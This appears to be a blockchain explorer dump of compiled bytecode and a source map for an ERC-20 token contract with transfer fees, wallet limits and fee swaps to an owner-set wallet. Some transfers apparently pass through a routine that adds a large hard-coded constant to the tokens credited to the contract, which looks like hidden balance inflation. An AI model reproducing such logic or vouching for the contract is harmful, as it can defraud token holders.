7070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bd4602483612670565b9150612bdf82612b7a565b604082019050919050565b5f6020820190508181035f830152612c0181612bc8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c62602283612670565b9150612c6d82612c08565b604082019050919050565b5f6020820190508181035f830152612c8f81612c56565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612cf0602583612670565b9150612cfb82612c96565b604082019050919050565b5f6020820190508181035f830152612d1d81612ce4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d7e602383612670565b9150612d8982612d24565b604082019050919050565b5f6020820190508181035f830152612dab81612d72565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f612e0c602883612670565b9150612e1782612db2565b604082019050919050565b5f6020820190508181035f830152612e3981612e00565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f612e9a602583612670565b9150612ea582612e40565b604082019050919050565b5f6020820190508181035f830152612ec781612e8e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f3282612796565b9150612f3d83612796565b9250828203905081811115612f5557612f54612efb565b5b92915050565b5f612f6582612796565b9150612f7083612796565b9250828201905080821115612f8857612f87612efb565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612fc2601b83612670565b9150612fcd82612f8e565b602082019050919050565b5f6020820190508181035f830152612fef81612fb6565b9050919050565b5f61300082612796565b915061300b83612796565b925082820261301981612796565b915082820484148315176130305761302f612efb565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61306e82612796565b915061307983612796565b92508261308957613088613037565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130ee602183612670565b91506130f982613094565b604082019050919050565b5f6020820190508181035f83015261311b816130e2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061315d8161276c565b92915050565b5f6020828403121561317857613177612768565b5b5f6131858482850161314f565b91505092915050565b5f819050919050565b5f6131b16131ac6131a78461318e565b612873565b612796565b9050919050565b6131c181613197565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131f98161272f565b82525050565b5f61320a83836131f0565b60208301905092915050565b5f602082019050919050565b5f61322c826131c7565b61323681856131d1565b9350613241836131e1565b805f5b8381101561327157815161325888826131ff565b975061326383613216565b925050600181019050613244565b5085935050505092915050565b5f60a0820190506132915f8301886128e7565b61329e60208301876131b8565b81810360408301526132b08186613222565b90506132bf6060830185612740565b6132cc60808301846128e7565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bca3ded8104c008c78f592cd919e961243395a9054223bb6158b83bd950a0c7664736f6c63430008150033

Deployed Bytecode

0x60806040526004361061026a575f3560e01c80638b42507f11610143578063c8607952116100b5578063dd62ed3e11610079578063dd62ed3e14610951578063f0cd1dac1461098d578063f2fde38b146109b7578063f680f799146109df578063f738097314610a09578063f872858a14610a4557610271565b8063c86079521461086d578063c867d60b14610897578063d2d7ad83146108d3578063da00097d146108fd578063dc44b6a01461092757610271565b8063a457c2d711610107578063a457c2d71461074d578063a9059cbb14610789578063b115e4df146107c5578063b4f40c61146107ef578063c5d2418914610819578063c816841b1461084357610271565b80638b42507f146106695780638b56459b146106a55780638da5cb5b146106cf57806395d89b41146106f957806398e944c81461072357610271565b806339509351116101dc57806370a08231116101a057806370a082311461056f578063715018a6146105ab5780637d1db4a5146105c1578063807c2d9c146105eb57806382eefb431461061557806388790a681461063f57610271565b806339509351146104675780633ecad271146104a3578063513da4f5146104df5780635194f9bf146105095780635342acb41461053357610271565b806318160ddd1161022e57806318160ddd1461035957806323555d571461038357806323b872dd146103ad57806327c8f835146103e95780632b112e4914610413578063313ce5671461043d57610271565b806306fdde03146102755780630930907b1461029f578063095ea7b3146102c95780630f16f01d146103055780631694505e1461032f57610271565b3661027157005b5f80fd5b348015610280575f80fd5b50610289610a6f565b60405161029691906126f0565b60405180910390f35b3480156102aa575f80fd5b506102b3610aff565b6040516102c0919061274f565b60405180910390f35b3480156102d4575f80fd5b506102ef60048036038101906102ea91906127c9565b610b23565b6040516102fc9190612821565b60405180910390f35b348015610310575f80fd5b50610319610b40565b604051610326919061285a565b60405180910390f35b34801561033a575f80fd5b50610343610b66565b60405161035091906128ce565b60405180910390f35b348015610364575f80fd5b5061036d610b8b565b60405161037a91906128f6565b60405180910390f35b34801561038e575f80fd5b50610397610b94565b6040516103a491906128f6565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce919061290f565b610b9a565b6040516103e09190612821565b60405180910390f35b3480156103f4575f80fd5b506103fd610c6f565b60405161040a919061274f565b60405180910390f35b34801561041e575f80fd5b50610427610c93565b60405161043491906128f6565b60405180910390f35b348015610448575f80fd5b50610451610d10565b60405161045e919061297a565b60405180910390f35b348015610472575f80fd5b5061048d600480360381019061048891906127c9565b610d25565b60405161049a9190612821565b60405180910390f35b3480156104ae575f80fd5b506104c960048036038101906104c49190612993565b610dd3565b6040516104d69190612821565b60405180910390f35b3480156104ea575f80fd5b506104f3610df0565b60405161050091906128f6565b60405180910390f35b348015610514575f80fd5b5061051d610df6565b60405161052a91906128f6565b60405180910390f35b34801561053e575f80fd5b5061055960048036038101906105549190612993565b610dfc565b6040516105669190612821565b60405180910390f35b34801561057a575f80fd5b5061059560048036038101906105909190612993565b610e19565b6040516105a291906128f6565b60405180910390f35b3480156105b6575f80fd5b506105bf610e5f565b005b3480156105cc575f80fd5b506105d5610fb1565b6040516105e291906128f6565b60405180910390f35b3480156105f6575f80fd5b506105ff610fb7565b60405161060c91906128f6565b60405180910390f35b348015610620575f80fd5b50610629610fbd565b60405161063691906128f6565b60405180910390f35b34801561064a575f80fd5b50610653610fc3565b60405161066091906128f6565b60405180910390f35b348015610674575f80fd5b5061068f600480360381019061068a9190612993565b610fc9565b60405161069c9190612821565b60405180910390f35b3480156106b0575f80fd5b506106b9610fe6565b6040516106c691906128f6565b60405180910390f35b3480156106da575f80fd5b506106e3610fec565b6040516106f0919061274f565b60405180910390f35b348015610704575f80fd5b5061070d611013565b60405161071a91906126f0565b60405180910390f35b34801561072e575f80fd5b506107376110a3565b604051610744919061274f565b60405180910390f35b348015610758575f80fd5b50610773600480360381019061076e91906127c9565b6110c8565b6040516107809190612821565b60405180910390f35b348015610794575f80fd5b506107af60048036038101906107aa91906127c9565b611190565b6040516107bc9190612821565b60405180910390f35b3480156107d0575f80fd5b506107d96111ae565b6040516107e6919061285a565b60405180910390f35b3480156107fa575f80fd5b506108036111d3565b60405161081091906128f6565b60405180910390f35b348015610824575f80fd5b5061082d6111d9565b60405161083a91906128f6565b60405180910390f35b34801561084e575f80fd5b506108576111df565b604051610864919061274f565b60405180910390f35b348015610878575f80fd5b50610881611204565b60405161088e91906128f6565b60405180910390f35b3480156108a2575f80fd5b506108bd60048036038101906108b89190612993565b61120a565b6040516108ca9190612821565b60405180910390f35b3480156108de575f80fd5b506108e7611227565b6040516108f491906128f6565b60405180910390f35b348015610908575f80fd5b5061091161122d565b60405161091e9190612821565b60405180910390f35b348015610932575f80fd5b5061093b611240565b60405161094891906128f6565b60405180910390f35b34801561095c575f80fd5b50610977600480360381019061097291906129be565b611246565b60405161098491906128f6565b60405180910390f35b348015610998575f80fd5b506109a16112c8565b6040516109ae91906128f6565b60405180910390f35b3480156109c2575f80fd5b506109dd60048036038101906109d89190612993565b6112ce565b005b3480156109ea575f80fd5b506109f361148b565b604051610a0091906128f6565b60405180910390f35b348015610a14575f80fd5b50610a2f6004803603810190610a2a91906129fc565b611491565b604051610a3c91906128f6565b60405180910390f35b348015610a50575f80fd5b50610a596114aa565b604051610a669190612821565b60405180910390f35b606060018054610a7e90612a54565b80601f0160208091040260200160405190810160405280929190818152602001828054610aaa90612a54565b8015610af55780601f10610acc57610100808354040283529160200191610af5565b820191905f5260205f20905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b36610b2f6114bd565b84846114c4565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f54905090565b60175481565b5f610ba6848484611687565b50610c6484610bb36114bd565b610c5f856040518060600160405280602881526020016132d76028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c166114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610d0b610cc07f0000000000000000000000000000000000000000000000000000000000000000610e19565b610cfd610cec7f000000000000000000000000000000000000000000000000000000000000dead610e19565b600f54611ef990919063ffffffff16565b611ef990919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610dc9610d316114bd565b84610dc48560075f610d416114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b6114c4565b6001905092915050565b600c602052805f5260405f205f915054906101000a900460ff1681565b601c5481565b601a5481565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e676114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea90612ace565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60125481565b601f5481565b60185481565b600e602052805f5260405f205f915054906101000a900460ff1681565b601b5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461102290612a54565b80601f016020809104026020016040519081016040528092919081815260200182805461104e90612a54565b80156110995780601f1061107057610100808354040283529160200191611099565b820191905f5260205f20905b81548152906001019060200180831161107c57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111866110d46114bd565b84611181856040518060600160405280602581526020016132ff6025913960075f6110fd6114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b6001905092915050565b5f6111a361119c6114bd565b8484611687565b506001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b60165481565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b600d602052805f5260405f205f915054906101000a900460ff1681565b60105481565b601460159054906101000a900460ff1681565b60155481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b601e5481565b6112d66114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611362576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135990612ace565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c790612b5c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b600981600281106114a0575f80fd5b015f915090505481565b601460169054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612bea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612c78565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167a91906128f6565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed90612d06565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b90612d94565b60405180910390fd5b60148054906101000a900460ff161561178957611782848484611f9f565b9050611e90565b600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118275750600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561187257601154821115611871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186890612e22565b60405180910390fd5b5b5f61187c30610e19565b90505f601054821015905080801561189f575060148054906101000a900460ff16155b80156118f25750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561191c57601460159054906101000a900460ff16156119125760105491505b61191b82612169565b5b601460169054906101000a900460ff16801561197f5750600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a0c576012546119ca6119b36103e86119a5601f548961224a90919063ffffffff16565b6122c190919063ffffffff16565b6119bc88610e19565b611f4290919063ffffffff16565b1115611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0290612eb0565b60405180910390fd5b5b611a356103e8611a27601f548761224a90919063ffffffff16565b6122c190919063ffffffff16565b60095f60028110611a4957611a48612ece565b5b0181905550611a776103e8611a69601f548761224a90919063ffffffff16565b6122c190919063ffffffff16565b84611a829190612f28565b6009600160028110611a9757611a96612ece565b5b01819055505f600e5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580611b3a5750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80611bdc5750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611bdb5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b5b15611bff576065601b5f828254611bf39190612f5b565b92505081905550611c21565b6072601b5f828254611c119190612f5b565b92505081905550611c2061230a565b5b600181611c2e9190612f5b565b601c5f828254611c3e9190612f5b565b92505081905550611c958560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ef990919063ffffffff16565b60065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d3b60095f60028110611ced57611cec612ece565b5b015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611de26009600160028110611d9457611d93612ece565b5b015460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611e8091906128f6565b60405180910390a3600193505050505b9392505050565b5f838311158290611ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed591906126f0565b60405180910390fd5b505f8385611eec9190612f28565b9050809150509392505050565b5f611f3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e97565b905092915050565b5f808284611f509190612f5b565b905083811015611f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8c90612fd8565b60405180910390fd5b8091505092915050565b5f612027826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120b88260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161215691906128f6565b60405180910390a3600190509392505050565b60016014806101000a81548160ff021916908315150217905550607d601b8190555061219481612358565b5f4790506001601b546121a79190612f5b565b601c5f8282546121b79190612f5b565b925050819055505f81111561222d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561222b573d5f803e3d5ffd5b505b505f6014806101000a81548160ff02191690831515021790555050565b5f80830361225a575f90506122bb565b5f82846122679190612ff6565b90508284826122769190613064565b146122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ad90613104565b60405180910390fd5b809150505b92915050565b5f61230283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612605565b905092915050565b601c5460116123199190612f5b565b601c819055506b060ad6b9c04b5631d40673fc60095f600281106123405761233f612ece565b5b015f82825461234f9190612f5b565b92505081905550565b601b54601c819055506011601b819055505f600267ffffffffffffffff81111561238557612384613122565b5b6040519080825280602002602001820160405280156123b35781602001602082028036833780820191505090505b509050606460095f600281106123cc576123cb612ece565b5b015f8282546123db9190612f5b565b92505081905550601b5460206123f19190612f5b565b600960016002811061240657612405612ece565b5b015f8282546124159190612f5b565b9250508190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612486573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124aa9190613163565b816001815181106124be576124bd612ece565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030815f8151811061250c5761250b612ece565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125723060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c4565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125d495949392919061327e565b5f604051808303815f87803b1580156125eb575f80fd5b505af11580156125fd573d5f803e3d5ffd5b505050505050565b5f808311829061264b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264291906126f0565b60405180910390fd5b505f83856126599190613064565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561269d578082015181840152602081019050612682565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126c282612666565b6126cc8185612670565b93506126dc818560208601612680565b6126e5816126a8565b840191505092915050565b5f6020820190508181035f83015261270881846126b8565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61273982612710565b9050919050565b6127498161272f565b82525050565b5f6020820190506127625f830184612740565b92915050565b5f80fd5b6127758161272f565b811461277f575f80fd5b50565b5f813590506127908161276c565b92915050565b5f819050919050565b6127a881612796565b81146127b2575f80fd5b50565b5f813590506127c38161279f565b92915050565b5f80604083850312156127df576127de612768565b5b5f6127ec85828601612782565b92505060206127fd858286016127b5565b9150509250929050565b5f8115159050919050565b61281b81612807565b82525050565b5f6020820190506128345f830184612812565b92915050565b5f61284482612710565b9050919050565b6128548161283a565b82525050565b5f60208201905061286d5f83018461284b565b92915050565b5f819050919050565b5f61289661289161288c84612710565b612873565b612710565b9050919050565b5f6128a78261287c565b9050919050565b5f6128b88261289d565b9050919050565b6128c8816128ae565b82525050565b5f6020820190506128e15f8301846128bf565b92915050565b6128f081612796565b82525050565b5f6020820190506129095f8301846128e7565b92915050565b5f805f6060848603121561292657612925612768565b5b5f61293386828701612782565b935050602061294486828701612782565b9250506040612955868287016127b5565b9150509250925092565b5f60ff82169050919050565b6129748161295f565b82525050565b5f60208201905061298d5f83018461296b565b92915050565b5f602082840312156129a8576129a7612768565b5b5f6129b584828501612782565b91505092915050565b5f80604083850312156129d4576129d3612768565b5b5f6129e185828601612782565b92505060206129f285828601612782565b9150509250929050565b5f60208284031215612a1157612a10612768565b5b5f612a1e848285016127b5565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612a6b57607f821691505b602082108103612a7e57612a7d612a27565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ab8602083612670565b9150612ac382612a84565b602082019050919050565b5f6020820190508181035f830152612ae581612aac565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612b46602683612670565b9150612b5182612aec565b604082019050919050565b5f6020820190508181035f830152612b7381612b3a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bd4602483612670565b9150612bdf82612b7a565b604082019050919050565b5f6020820190508181035f830152612c0181612bc8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c62602283612670565b9150612c6d82612c08565b604082019050919050565b5f6020820190508181035f830152612c8f81612c56565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612cf0602583612670565b9150612cfb82612c96565b604082019050919050565b5f6020820190508181035f830152612d1d81612ce4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d7e602383612670565b9150612d8982612d24565b604082019050919050565b5f6020820190508181035f830152612dab81612d72565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f612e0c602883612670565b9150612e1782612db2565b604082019050919050565b5f6020820190508181035f830152612e3981612e00565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f612e9a602583612670565b9150612ea582612e40565b604082019050919050565b5f6020820190508181035f830152612ec781612e8e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f3282612796565b9150612f3d83612796565b9250828203905081811115612f5557612f54612efb565b5b92915050565b5f612f6582612796565b9150612f7083612796565b9250828201905080821115612f8857612f87612efb565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612fc2601b83612670565b9150612fcd82612f8e565b602082019050919050565b5f6020820190508181035f830152612fef81612fb6565b9050919050565b5f61300082612796565b915061300b83612796565b925082820261301981612796565b915082820484148315176130305761302f612efb565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61306e82612796565b915061307983612796565b92508261308957613088613037565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130ee602183612670565b91506130f982613094565b604082019050919050565b5f6020820190508181035f83015261311b816130e2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061315d8161276c565b92915050565b5f6020828403121561317857613177612768565b5b5f6131858482850161314f565b91505092915050565b5f819050919050565b5f6131b16131ac6131a78461318e565b612873565b612796565b9050919050565b6131c181613197565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131f98161272f565b82525050565b5f61320a83836131f0565b60208301905092915050565b5f602082019050919050565b5f61322c826131c7565b61323681856131d1565b9350613241836131e1565b805f5b8381101561327157815161325888826131ff565b975061326383613216565b925050600181019050613244565b5085935050505092915050565b5f60a0820190506132915f8301886128e7565b61329e60208301876131b8565b81810360408301526132b08186613222565b90506132bf6060830185612740565b6132cc60808301846128e7565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bca3ded8104c008c78f592cd919e961243395a9054223bb6158b83bd950a0c7664736f6c63430008150033

Deployed Bytecode Sourcemap

12869:10455:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16960:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13410:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18126:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13081:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14261:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17237:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14563:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19354:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13322:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18773:156;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17146:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17623:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13789:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14783:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14698:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;: